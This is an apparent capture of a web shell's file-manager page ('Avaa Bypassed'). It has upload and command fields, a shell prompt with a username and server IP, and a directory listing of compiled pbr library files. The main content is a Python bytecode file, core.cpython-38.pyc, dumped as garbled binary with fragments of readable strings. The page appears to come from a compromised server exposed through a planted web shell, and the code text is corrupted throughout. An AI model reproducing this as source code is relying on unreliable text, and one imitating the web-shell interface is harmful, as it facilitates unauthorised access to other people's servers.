[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@18.119.28.173: ~ $
U

�Va�@s�ddlmZddlmZddlZddlZddlZddlZddlmZddl	m
Z
ejZdd�Z
dd	�Zejdd
kr�eZefZneZeefZdd�Z	dS)
�)�core)�errorsN)�dist)�utilcCst�tj�t_dS�N)rZ_get_unpatchedr�Distribution�rr�/core.py�_monkeypatch_distribution=sr
cCs
tt_dSr)�_saved_core_distributionrrrrrr	�!_restore_distribution_monkeypatchAsr�c		s��z�t�|sW��rdSt|t�r0tj�|�}ntj�d�}tj�|�sVt�	d|��zt
�|�}WnBtk
r�t
��d}t�d�t�d||jj|f��YnX|�r4|��D]|\}}t|jd|�r�t|jd|�|�q�t|j|��rt|j||�q�t||��rt|||�q�dt|�}t�|�q�tj�|�t|jjt t!f��rft"|jj�|j_d	d
g�t
�#�fdd��|_$W5t�XdS)
a9Implements the actual pbr setup() keyword.  When used, this should be
    the only keyword in your setup() aside from `setup_requires`.

    If given as a string, the value of pbr is assumed to be the relative path
    to the setup.cfg file to use.  Otherwise, if it evaluates to true, it
    simply assumes that pbr should be used, and the default 'setup.cfg' is
    used.

    This works by reading the setup.cfg file, parsing out the supported
    metadata and command options, and using them to rebuild the
    `DistributionMetadata` object and set the newly added command options.

    The reason for doing things this way is that a custom `Distribution` class
    will not play nicely with setup_requires; however, this implementation may
    not work well with distributions that do use a `Distribution` subclass.
    Nz	setup.cfgz%The setup.cfg file %s does not exist.�z
Error parsingzError parsing %s: %s: %sZset_zUnknown distribution option: %sz
pre_hook.*zpost_hook.*cs
t���Sr)rZ
IgnoreDictr��ignorerr	�<lambda>��zpbr.<locals>.<lambda>)%rr
�
isinstance�string_type�os�path�abspath�existsrZDistutilsFileErrorrZcfg_to_args�	Exception�sys�exc_info�loggingZ	exceptionZDistutilsSetupError�	__class__�__name__�items�hasattrZmetadata�getattr�setattr�repr�warnings�warnrrZfinalize_options�version�
integer_types�float�strZDefaultGetDictZcommand_options)	r�attr�valuerZattrs�e�key�val�msgrrr	�pbrMsJ

�
�

�
r0)Z	distutilsrrrrrr$Z
setuptoolsrr0rrrr
r�version_infor)r�intr'Z
basestringZlongrrrr	�<module>.s 

Filemanager

Name Type Size Permission Actions
__init__.cpython-38.opt-1.pyc File 103 B 0644
__init__.cpython-38.pyc File 103 B 0644
builddoc.cpython-38.opt-1.pyc File 6.05 KB 0644
builddoc.cpython-38.pyc File 6.05 KB 0644
core.cpython-38.opt-1.pyc File 2.78 KB 0644
core.cpython-38.pyc File 2.78 KB 0644
extra_files.cpython-38.opt-1.pyc File 598 B 0644
extra_files.cpython-38.pyc File 598 B 0644
find_package.cpython-38.opt-1.pyc File 678 B 0644
find_package.cpython-38.pyc File 678 B 0644
git.cpython-38.opt-1.pyc File 7.57 KB 0644
git.cpython-38.pyc File 7.57 KB 0644
options.cpython-38.opt-1.pyc File 383 B 0644
options.cpython-38.pyc File 383 B 0644
packaging.cpython-38.opt-1.pyc File 18.85 KB 0644
packaging.cpython-38.pyc File 18.85 KB 0644
pbr_json.cpython-38.opt-1.pyc File 585 B 0644
pbr_json.cpython-38.pyc File 585 B 0644
testr_command.cpython-38.opt-1.pyc File 4.31 KB 0644
testr_command.cpython-38.pyc File 4.31 KB 0644
util.cpython-38.opt-1.pyc File 13.79 KB 0644
util.cpython-38.pyc File 13.79 KB 0644
version.cpython-38.opt-1.pyc File 14.35 KB 0644
version.cpython-38.pyc File 14.35 KB 0644